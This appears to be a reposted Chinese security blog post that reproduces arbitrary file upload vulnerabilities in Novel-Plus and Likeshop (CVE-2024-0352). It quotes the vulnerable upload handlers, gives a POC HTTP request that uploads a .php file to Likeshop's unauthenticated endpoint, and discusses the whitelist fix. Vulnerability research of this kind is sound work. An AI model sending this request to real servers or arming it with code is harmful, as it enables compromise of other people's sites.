浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

admin 2024年4月30日07:38:44评论12 views字数 4407阅读14分41秒阅读模式

Novel-Plus漏洞介绍

Github地址:https://github.com/201206030/novel-plus
CNVD地址:https://www.cnvd.org.cn/flaw/show/CNVD-2024-09639
Novel-Plus是一个多端(PCWAP)阅读 、功能完善的小说CMS系统。
Novel-Plus com.java2nb.common.controller.FileController: upload()处理fieName参数存在任意文件上传漏洞,远程攻击者可以利用该漏洞提交特殊的请求,可上传任意文件,在系统上下文执行任意代码。

复现‍‍‍‍‍‍

将环境进行搭建好之后,我们进入到了后台,这里还出现一个小问题,就是我并没有找到admin用户的密码是多少,然后根据login controllershiro定位到密码加密的函数,这里再记录一下关于shiro加密的流程。

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

回到代码本身,定位到com.java2nb.common.controller.FileController: upload()
java@ResponseBody    @PostMapping("/upload")    R upload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {        if ("test".equals(getUsername())) {            return R.error(1, "演示系统不允许修改,完整体验请部署程序");        }        Date date = new Date();        String year = DateUtils.format(date, DateUtils.YEAR_PATTERN);        String month = DateUtils.format(date, DateUtils.MONTH_PATTERN);        String day = DateUtils.format(date, DateUtils.DAY_PATTERN);

        String fileName = file.getOriginalFilename();        String fileDir = year + "/" + month + "/" + day + "/";        fileName = FileUtil.renameToUUID(fileName);        FileDO sysFile = new FileDO(FileType.fileType(fileName), Constant.UPLOAD_FILES_PREFIX + fileDir + fileName,            date);        try {            FileUtil.uploadFile(file.getBytes(), jnConfig.getUploadPath() + fileDir, fileName);        } catch (Exception e) {            return R.error();        }

        if (sysFileService.save(sysFile) > 0) {            return R.ok().put("fileName", sysFile.getUrl());        }        return R.error();    }
整个代码中没有任何过滤,就是一处无任何过滤可以上传任意后缀的代码。
网页中出现

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

本机根目录下面的文件夹也出现了

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

文件的路径也在网页中有所显现

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

这个项目是一个前后端分离的项目,不知道如何才能进行进一步的利用

Likeshop任意文件上传

Github地址:https://github.com/likeshop-github/likeshop

漏洞编号:cve-2024-0352、cnnvd-202401-765

POC

POST /api/file/formimage HTTP/2Host: x.x.x.User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36Connection: closeContent-Length: 201Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwteiAccept-Encoding: gzip, deflate

------WebKitFormBoundarygcflwteiContent-Disposition: form-data; name="file";filename="test.php"Content-Type: application/x-php

This page has a vulnerability!------WebKitFormBoundarygcflwtei--

具体对应到的则是/server/application/api/controller/file文件下面的formImage函数

<?php

namespace appapicontroller;use appcommonserverFileServer;class File extends ApiBase{    public $like_not_need_login = ['formImage','test'];    /**     * showdoc     * @catalog 接口/上传文件     * @title form表单方式上传图片     * @description 图片上传     * @method post     * @url /file/formimage     * @return param name string 图片名称     * @return param url string 文件地址     * @remark     * @number 1     * @return {"code":1,"msg":"上传文件成功","data":{"url":"http://likeb2b2c.yixiangonline.com/uploads/images/user/20200810/3cb866f6bb30b7239d91582f7d9822d6.png","name":"2.png"},"show":0,"time":"0.283254","debug":{"request":{"get":[],"post":[],"header":{"content-length":"103132","content-type":"multipart/form-data; boundary=--------------------------206668736604428806173438","connection":"keep-alive","accept-encoding":"gzip, deflate, br","host":"www.likeb2b2c.com:20002","postman-token":"1f8aa4dd-f53c-4d12-98b4-8d901ac847db","cache-control":"no-cache","accept":"*/*","user-agent":"PostmanRuntime/7.26.2"}}}}     */    public function formImage()    {        $data = FileServer::userFormImage($this->user_id);        $this->_success($data['msg'], $data['data'], $data['code']);    }}

继续跟进userFormImage这个函数

```php    public static function userFormImage($user_id = 0, $save_dir='uploads/user'){        try {            $config = [                'default' => ConfigServer::get('storage', 'default', 'local'),                'engine'  => ConfigServer::get('storage_engine')            ];

            if (empty($config['engine']['local'])) {                $config['engine']['local'] = [];            }

            $StorageDriver = new StorageDriver($config);            $StorageDriver->setUploadFile('file');

            if (!$StorageDriver->upload($save_dir)) {                throw new Exception('图片上传失败' . $StorageDriver->getError());            }

            // 图片上传路径            $fileName = $StorageDriver->getFileName();            // 图片信息            $fileInfo = $StorageDriver->getFileInfo();

            // 记录图片信息            $data = [                'user_id'     => $user_id ? $user_id : 0,                'name'        => $fileInfo['name'],                'type'        => File::type_image,                'uri'         => $save_dir . '/' . str_replace("\","/", $fileName),                'create_time' => time(),            ];            Db::name('user_file')->insert($data);

            $result['url'] = UrlServer::getFileUrl($data['uri']);            $result['base_url'] = $data['uri'];            $result['name'] = $data['name'];

            return self::dataSuccess('上传文件成功', $result);

        } catch (Exception $e) {            $message = lang($e->getMessage()) ?? $e->getMessage();            return self::dataError('上传文件失败:' . $message);        }    }
在获取配置后就调用$StorageDriver来进行完成文件上传,由于没有其它过滤的存在,是存在文件上传的漏洞且可以被利用。
修复方式:

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

添加了一个验证文件是否是指定的图片,然后在文件上传的地方进行验证。

浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

这种白名单修复文件上传的方法只是一种,我觉得还可以加上进行过滤文件内容,可以进行过滤`<`由此就可以很大概率的禁止php代码的执行。

题外话

代码中的漏洞防不胜防,修复和对抗的过程令人着迷

在审计novel-plus的时候,运气好发现另一个函数也具有漏洞,获得了自己的第一个cve——CVE-2024-33383,也算的是一个别的收获了

原文始发于微信公众号(极星信安):浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月30日07:38:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程http://cn-sec.com/archives/2700251.html

发表评论

匿名网友 填写信息